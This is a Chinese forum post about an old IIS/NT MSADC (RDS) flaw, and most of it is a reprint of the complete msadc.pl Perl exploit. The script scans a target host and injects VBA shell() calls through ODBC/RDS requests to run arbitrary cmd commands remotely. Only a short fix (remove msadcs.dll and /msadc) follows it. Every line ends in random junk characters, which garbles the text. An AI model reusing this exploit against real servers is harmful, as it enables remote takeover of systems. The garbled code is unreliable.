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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) CYPazOfj  
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涉及程序: `%t$s,TiP  
Microsoft NT server A$%Q4jC}  
>Lw}KO`  
描述: \);.0  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 VX^o"9Ntl  
49+ >f  
详细: p{ @CoOn  
如果你没有时间读详细内容的话,就删除: )YzHk ;(  
c:\Program Files\Common Files\System\Msadc\msadcs.dll XMN?;Hj>  
有关的安全问题就没有了。 fg9?3x Z  
JJ/1daj  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,&.W6sW  
[F/^J|VMV  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ex` xkZ+  
关于利用ODBC远程漏洞的描述,请参看: *'9)H 0  
/OQK/ t63  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm :vc[/<  
<i_> y~v`  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 x],8yR)R  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp [!1)mR  
L@{!r=%_>  
这里不再论述。 )p$\gwr=2  
_ yfdj[Ot`  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: X5uS>V%/  
AVXX\n\_  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset `y\*m]:  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! "wA0 LH_  
 20I4r  
CY*ngi&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" EKZ$Q4YE  
pOqGAD{D$  
#!perl .M DYGWKt  
# nE/=:{~Ws  
# MSADC/RDS 'usage' (aka exploit) script iD>G!\&  
# T)WZ_bR  
# by rain.forest.puppy Y]C; T  
# JN9^fR09G  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Xzl KP;r0  
# beta test and find errors! r1i$D  
`IEq@Wr#$!  
use Socket; use Getopt::Std; v"z (JF  
getopts("e:vd:h:XR", \%args); IFiTTIlT0  
%mY|  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; CJzm}'NY  
}qc#lz  
if (!defined $args{h} && !defined $args{R}) { I"Q#IvNw  
print qq~ %x&F4U  
Usage: msadc.pl -h <host> { -d <delay> -X -v } dCB&c ^  
-h <host> = host you want to scan (ip or domain) r%0pQEl  
-d <seconds> = delay between calls, default 1 second [NYj.#,oR  
-X = dump Index Server path table, if available '5'3_vM  
-v = verbose No:^hY:F8  
-e = external dictionary file for step 5 wA?@v|,dZ  
- #3{{  
Or a -R will resume a command session y L*LJ  
?n!lUr$:y  
~; exit;} 4\p$4Hs}  
C&=x3Cz  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; BjM+0[HC  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} }o-|8P:Y  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} xTW3UY  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); N<9w{zIK(  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} as>:\hjP##  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } d i!"IQAvK  
9160L qY  
if (!defined $args{R}){ $ret = &has_msadc; b.QpHrnhtK  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}  cp$.,V  
:@.C4oq  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" :~yzDk\I"-  
. "cmd /c "; ,{?wKXJ}L!  
$in=<STDIN>; chomp $in; H{ZLk,  
$command="cmd /c " . $in ; @gNpJB]V  
~eDI$IO  
if (defined $args{R}) {&load; exit;} K} +S+ *_  
{5>3;.  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; -  $%jb2  
&try_btcustmr; )AOPiC$jL  
$4=Ne3 y  
print "\nStep 2: Trying to make our own DSN..."; [M4xZHd#o  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; >A3LA3( c  
=(%*LY!Xc  
print "\nStep 3: Trying known DSNs..."; D/Rv&>Jh  
&known_dsn; NdZ)[f:2  
0f1H8zV  
print "\nStep 4: Trying known .mdbs..."; P*0f~eu  
&known_mdb; wTT RoeJ}  
9hy'DcSy,  
if (defined $args{e}){ lqF>=15  
print "\nStep 5: Trying dictionary of DSN names..."; ~L~]QN\3  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } u=%y  
v{o? #Sk1  
print "Sorry Charley...maybe next time?\n"; g^jJ8k,7(  
exit; >;,gGH  
ei@3,{~5  
############################################################################## A^-iHm  
W+8^P( K  
sub sendraw { # ripped and modded from whisker F#su5<d  
sleep($delay); # it's a DoS on the server! At least on mine... ~P/]:=  
my ($pstr)=@_; B~?c3:6  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *|oPxQCtK  
die("Socket problems\n"); {gsW(T>)  
if(connect(S,pack "SnA4x8",2,80,$target)){ 3!aEClRtq  
select(S); $|=1; |"Z-7@/k$i  
print $pstr; my @in=<S>; D ZVXz|g  
select(STDOUT); close(S); o5P&JBX<  
return @in; .:8[wI_f  
} else { die("Can't connect...\n"); }} 0pD[7~^o  
q3+I<qsAz  
############################################################################## glx2I_y  
]oEQ4  
sub make_header { # make the HTTP request AuAT]`  
my $msadc=<<EOT ;Z*'D}  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 (-\]A|  
User-Agent: ACTIVEDATA /l ^y}o %?  
Host: $ip usy,V"{  
Content-Length: $clen ijF V<P  
Connection: Keep-Alive IP04l;p/  
gGI8t@t:  
ADCClientVersion:01.06 4`s)ue  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 `y2ljIWJ  
-bA!PeI  
--!ADM!ROX!YOUR!WORLD! Pg Syt  
Content-Type: application/x-varg X'@'/[?  
Content-Length: $reqlen RJx{eck%  
zka?cOmYF[  
EOT ^sV|ck  
; $msadc=~s/\n/\r\n/g; .Vmtx  
return $msadc;} + 8f>^*:u  
~T02._E  
############################################################################## +`| mJa  
<7^Kt7k  
sub make_req { # make the RDS request 3p_b8K_bG  
my ($switch, $p1, $p2)=@_; @bT3'K-4  
my $req=""; my $t1, $t2, $query, $dsn; dQ<(lzS~  
!lhFKb;  
if ($switch==1){ # this is the btcustmr.mdb query <GaT|Hhc=  
$query="Select * from Customers where City=" . make_shell(); T`?n,'!(  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . @^!\d#/M  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} xQo~%wW,?  
_IxamWpX$  
elsif ($switch==2){ # this is general make table query tq&Yek>C  
$query="create table AZZ (B int, C varchar(10))"; \45(#H<$  
$dsn="$p1";} >ZeEX, N  
y@3kU*-1  
elsif ($switch==3){ # this is general exploit table query akC>s8tqlA  
$query="select * from AZZ where C=" . make_shell(); )Oievu_"|  
$dsn="$p1";} b+Vi3V  
@h#Xix7  
elsif ($switch==4){ # attempt to hork file info from index server A*F9\mj I5  
$query="select path from scope()"; nW GR5*e:  
$dsn="Provider=MSIDXS;";} x%6hM |U  
*Tp]h 0  
elsif ($switch==5){ # bad query @8zT'/$  
$query="select"; dF e4K"  
$dsn="$p1";} ]RD5Ex!K?  
GJ`UO  
$t1= make_unicode($query); 6R2uWv  
$t2= make_unicode($dsn); 4%7s259%  
$req = "\x02\x00\x03\x00"; 4.Z(:g  
$req.= "\x08\x00" . pack ("S1", length($t1)); ~^$MA$/p  
$req.= "\x00\x00" . $t1 ; :!O><eQw  
$req.= "\x08\x00" . pack ("S1", length($t2)); =Z`0>R`  
$req.= "\x00\x00" . $t2 ; :tLbFW[  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; [D[D`gpjA  
return $req;} t8vc@of$c,  
;&kn"b}G;  
############################################################################## iNJAZ6@+  
6vobta^w  
sub make_shell { # this makes the shell() statement \Yq0 zVol  
return "'|shell(\"$command\")|'";} "0-y*1/m  
lR@& Z6lw  
############################################################################## W 2<3C  
K/|  
sub make_unicode { # quick little function to convert to unicode .&iN(Bd  
my ($in)=@_; my $out; tpo>1|  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } #ZWl=z5aBi  
return $out;} <KLg0L<W  
.S_QQM}Q  
############################################################################## U5<@<j(@  
ao$):,2*  
sub rdo_success { # checks for RDO return success (this is kludge) G9Qe121m  
my (@in) = @_; my $base=content_start(@in); (6R4 \8z2  
if($in[$base]=~/multipart\/mixed/){ &@6 GI<  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} g$w6kz_[  
return 0;} j"hASBTgp  
;SY.WfVA7  
############################################################################## e+@xs n3  
v=p0 +J>  
sub make_dsn { # this makes a DSN for us ,|pp67  
my @drives=("c","d","e","f"); t$ZkdF  
print "\nMaking DSN: "; J3=BE2L  
foreach $drive (@drives) { J=*K"8Qr  
print "$drive: "; )GJP_*Ab  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Qh-4vy =r  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" m7m \`;  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); cPuHLwwYf  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; e$wt&^W  
return 0 if $2 eq "404"; # not found/doesn't exist |<(t}}X  
if($2 eq "200") { XLb0 9;  
foreach $line (@results) { tjxvN 4l  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} C:GvP>  
} return 0;} f xtxu?A>  
`6F +Rrn  
############################################################################## w$>3pQ8d  
jBpVxv  
sub verify_exists { 3cC }'j  
my ($page)=@_; /DO'IHC.o  
my @results=sendraw("GET $page HTTP/1.0\n\n"); UX_I6_&  
return $results[0];} zfjw;sUX  
?"j@;/=  
############################################################################## -H\,2FO  
O2v.  
sub try_btcustmr { 5pJ*1pfeo  
my @drives=("c","d","e","f"); L~eAQR  
my @dirs=("winnt","winnt35","winnt351","win","windows"); b Us|t  
t5) J;0/  
foreach $dir (@dirs) { TyOH`5 D  
print "$dir -> "; # fun status so you can see progress #DUh(:E'`  
foreach $drive (@drives) { _tj&Psp  
print "$drive: "; # ditto nwf7M#3d  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 4#:\?HAu!  
$reqlenlen=length( "$reqlen" ); ~NNv>5 t5  
$clen= 206 + $reqlenlen + $reqlen;  %+wF"  
hhmGv9P  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); zu<3^=3  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} RH1uVdJ1  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} YwAnqAg  
kon=il<@  
############################################################################## Ei~f`{i  
QlD6i-a  
sub odbc_error { o.^y1mH'  
my (@in)=@_; my $base; 2U9&l1P=  
my $base = content_start(@in); `o si"o9  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 8i: [:Z  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; a)9rs\Is{  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 16$y`~c-z  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; V`k8j-*s  
return $in[$base+4].$in[$base+5].$in[$base+6];} r7I B{}>-  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; JD~aUB%  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . &71e5<(dG  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} If'2rE7J  
n93zD*;5  
############################################################################## 6[?}6gQ  
sX:lE^)-z  
sub verbose { XnXb&@Y  
my ($in)=@_; 1V%'.l9  
return if !$verbose; Wsm`YLYkt!  
print STDOUT "\n$in\n";} wFL3& *  
84M3c  
############################################################################## 70Ka!  
3ATjsOL  
sub save { Hr }k5'  
my ($p1, $p2, $p3, $p4)=@_;  .mPg0  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; x~/+RF XF  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; onl>54M^  
close OUT;} f0oek{  
^\wl2  
############################################################################## ;&?pd"^<_Z  
A/ 0qk  
sub load { )^ <3\e  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?63&g{vA  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); dWR1cvB(wY  
@p=<IN>; close(IN); HomN/wKh  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); i&Kz*,pt  
$target= inet_aton($ip) || die("inet_aton problems"); l`gTU?<xd  
print "Resuming to $ip ..."; ]}LGbv"`A  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; CBHc A'L  
if($p[1]==1) { 2P5_zND  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; vv/J 5#^,\  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; K t `  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 4P kfUMX  
if (rdo_success(@results)){print "Success!\n";} OD+5q(!"a  
else { print "failed\n"; verbose(odbc_error(@results));}} P(h5=0`*PR  
elsif ($p[1]==3){ i2`0|8mw'  
if(run_query("$p[3]")){ N5 n>  
print "Success!\n";} else { print "failed\n"; }} L2|aHI1'l  
elsif ($p[1]==4){ 0*7*RX  
if(run_query($drvst . "$p[3]")){ }*kJ-q&0  
print "Success!\n"; } else { print "failed\n"; }} LfX0Z=<  
exit;} #WufZ18#  
'6zd;l9Z  
############################################################################## T9)wj][ .  
,7,;twKz  
sub create_table { V(mn yI  
my ($in)=@_; +Me2U9  
$reqlen=length( make_req(2,$in,"") ) - 28; 1^{`lK~2  
$reqlenlen=length( "$reqlen" ); \*"`L3  
$clen= 206 + $reqlenlen + $reqlen; km\%BD~  
my @results=sendraw(make_header() . make_req(2,$in,"")); =B(mIx;m  
return 1 if rdo_success(@results); G6O/(8  
my $temp= odbc_error(@results); verbose($temp); 9L)L|4A.l  
return 1 if $temp=~/Table 'AZZ' already exists/; I/p]DT  
return 0;} h~miP7,c<u  
$TG?4  
############################################################################## 'sU)|W(3U  
&" h]y?Q  
sub known_dsn { 4}yE+dRUK:  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go G) 7)]yBL  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", =! m JG  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", P5URvEnz:  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 3"rkko?A  
E $6ejGw-  
foreach $dSn (@dsns) { F?4Sz#  
print "."; ;^-:b(E  
next if (!is_access("DSN=$dSn")); xP@/9SM  
if(create_table("DSN=$dSn")){ w O!u!I  
print "$dSn successful\n"; BGqa-d  
if(run_query("DSN=$dSn")){ =nhzMU9c\y  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { *Bw#c j  
print "Something's borked. Use verbose next time\n";}}} print "\n";} U e*$&VlT  
{ZqQ!!b  
############################################################################## &!1}`4$[T  
;KcFy@ 6q5  
sub is_access { ?`P2'i<b  
my ($in)=@_; N@1p]\  
$reqlen=length( make_req(5,$in,"") ) - 28; SrZ50Se  
$reqlenlen=length( "$reqlen" ); o'Y#H r)/  
$clen= 206 + $reqlenlen + $reqlen; A1_ J sS  
my @results=sendraw(make_header() . make_req(5,$in,"")); PqEAqP  
my $temp= odbc_error(@results); +qkMQETV6  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); mJMq{6;  
return 0;} nem@sB;v#  
L[C*@ uK  
############################################################################## gq4 . d  
,")F[%v  
sub run_query { \4s;!R!  
my ($in)=@_; +,_c/(P  
$reqlen=length( make_req(3,$in,"") ) - 28; mk=#\>  
$reqlenlen=length( "$reqlen" ); V0NVGRQ  
$clen= 206 + $reqlenlen + $reqlen; 4/MNqit+  
my @results=sendraw(make_header() . make_req(3,$in,"")); u~'OcO  
return 1 if rdo_success(@results); YIO R$  
my $temp= odbc_error(@results); verbose($temp); gX*K&*q   
return 0;} ! F7:i  
)N)ljA3]  
############################################################################## =kFuJ x)f  
_T]>/}}p  
sub known_mdb { V/bH^@,sA  
my @drives=("c","d","e","f","g"); ~`Sle xK|}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 0Q1/n2V  
my $dir, $drive, $mdb; (=JueF@J  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ( u f5\}x  
yXF|Sqv  
# this is sparse, because I don't know of many &r@H(}$1\  
my @sysmdbs=( "\\catroot\\icatalog.mdb", j'Wp  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", SE!L :  
"\\system32\\certmdb.mdb", e1P7 .n}  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% z5EVG  
[hU=m S8=^  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", K0<yvew  
"\\cfusion\\cfapps\\forums\\forums_.mdb", kp`0erJqw  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", e &3#2_  
"\\cfusion\\cfapps\\security\\realm_.mdb", *Nlu5(z  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 3w'W~  
"\\cfusion\\database\\cfexamples.mdb", Jz$ >k$!UD  
"\\cfusion\\database\\cfsnippets.mdb", ;0j*>fb\q7  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", k/#>S*Ne  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", u(hC^T1  
"\\cfusion\\brighttiger\\database\\cleam.mdb", K-4tdC3  
"\\cfusion\\database\\smpolicy.mdb", 0QoLS|voA/  
"\\cfusion\\database\cypress.mdb", 5Y-2 #  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", PU+1=%'V  
"\\website\\cgi-win\\dbsample.mdb", %F5 =n"  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ,so4Lb(vG  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" %fpsc _  
); #these are just =pp:j`B9(  
foreach $drive (@drives) { Z#7U "G-A  
foreach $dir (@dirs){ F^rl$#pCS  
foreach $mdb (@sysmdbs) { AgsR-"uh  
print "."; W)-hU~^OM  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ wLMvC{5  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; bi,mM,N/  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ l* Y[^'  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; |<Bpv{]P  
} else { print "Something's borked. Use verbose next time\n"; }}}}} -S$$/sR  
,}<RrUfD  
foreach $drive (@drives) { 76cEKHa<  
foreach $mdb (@mdbs) { -+P7:4/  
print "."; .)`-Hkxa  
if(create_table($drv . $drive . $dir . $mdb)){ F< |c4  
print "\n" . $drive . $dir . $mdb . " successful\n"; *?N<S$m  
if(run_query($drv . $drive . $dir . $mdb)){ <E}N=J'uJ  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; t/ eo]  
} else { print "Something's borked. Use verbose next time\n"; }}}} P6we(I`"2  
} + *a7GttU  
IJIQ" s  
############################################################################## S'@=3)  
N D* ]gM  
sub hork_idx { BD'NuI  
print "\nAttempting to dump Index Server tables...\n"; hbnS~sva  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; sR! +d:LJ4  
$reqlen=length( make_req(4,"","") ) - 28; CB]l[hM$  
$reqlenlen=length( "$reqlen" ); T*\$<-^  
$clen= 206 + $reqlenlen + $reqlen; M=+M8M`Iy  
my @results=sendraw2(make_header() . make_req(4,"","")); 7j T}{ x  
if (rdo_success(@results)){ Omb.53+  
my $max=@results; my $c; my %d; ~ B]jV$=  
for($c=19; $c<$max; $c++){ #eLN1q&Z  
$results[$c]=~s/\x00//g; O PiaG!3<  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; M.[wKGX(  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; K;C_Z/<%  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; VN+\>j-  
$d{"$1$2"}="";} w, 7Cr  
foreach $c (keys %d){ print "$c\n"; } z1Q2*:)c  
} else {print "Index server doesn't seem to be installed.\n"; }} p1^0{ILx  
lh$CWsx  
############################################################################## @+t (xCv  
i;]CL[#2e`  
sub dsn_dict { {Zwf..,  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 8KKz5\kn7  
while(<IN>){ ;^ov~PPl  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; >13/h]3  
next if (!is_access("DSN=$dSn")); fz8h]PZ  
if(create_table("DSN=$dSn")){ $WClpvVj  
print "$dSn successful\n"; * gHCy4u{  
if(run_query("DSN=$dSn")){ MCHOK=G  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4cB&Hk  
print "Something's borked. Use verbose next time\n";}}} B_tQeM  
print "\n"; close(IN);} kp; &cQu!  
OQc{ V  
############################################################################## {? 2;0}3?;  
d<v~=  
sub sendraw2 { # ripped and modded from whisker sMX$Q45e  
sleep($delay); # it's a DoS on the server! At least on mine... en%B>]QI  
my ($pstr)=@_; J7m`]!*t  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ?\M)WDO  
die("Socket problems\n"); mR,O0O}&  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]|y}\7Aa  
print "Connected. Getting data"; k- vA#  
open(OUT,">raw.out"); my @in; B{99gwMe]  
select(S); $|=1; print $pstr; 6Ty 3e|do  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} QES^^PQe:  
close(OUT); select(STDOUT); close(S); return @in; @E(P9zQ/zy  
} else { die("Can't connect...\n"); }} D&f!( n  
%r P !  
############################################################################## S ;h&5.p  
x97H(*  
sub content_start { # this will take in the server headers wo]ks}9  
my (@in)=@_; my $c; oX*b<d{\N  
for ($c=1;$c<500;$c++) { ?V?<E=13  
if($in[$c] =~/^\x0d\x0a/){ yF;?Hg  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } o"4E+1qwM  
else { return $c+1; }}} L}b'+Wi@  
return -1;} # it should never get here actually b?>VPuyBb  
)r pD2H  
############################################################################## {s9<ej~<R  
<K,[sy&Qy  
sub funky { B6uRJcD4  
my (@in)=@_; my $error=odbc_error(@in); !^-OfqIHfV  
if($error=~/ADO could not find the specified provider/){ ]f5c\\)  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; &~}@u[=ux  
exit;} vgN@~Xa  
if($error=~/A Handler is required/){ fOLnK y#  
print "\nServer has custom handler filters (they most likely are patched)\n"; W W35&mI)k  
exit;} F#KF6)P  
if($error=~/specified Handler has denied Access/){ GqMB^Ad  
print "\nServer has custom handler filters (they most likely are patched)\n"; L^x5&CCwk  
exit;}} FXxN>\76.  
UtPwWB_YV  
############################################################################## SlT7L||Ww  
;tXY =  
sub has_msadc { ;xI0\a7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); _^-D _y  
my $base=content_start(@results); s_S$7N`ocS  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); G4O3h Y.`  
return 0;} lm!F M`m  
]h0Y8kpd  
######################## |lY`9-M`I  
Z) t{JHm:  
#:Xa'D+  
解决方案: Z]7tjRvq)  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ] .`_, IO  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 b70AJe=  
lqauk)(A0  
拿出来充数 哈哈
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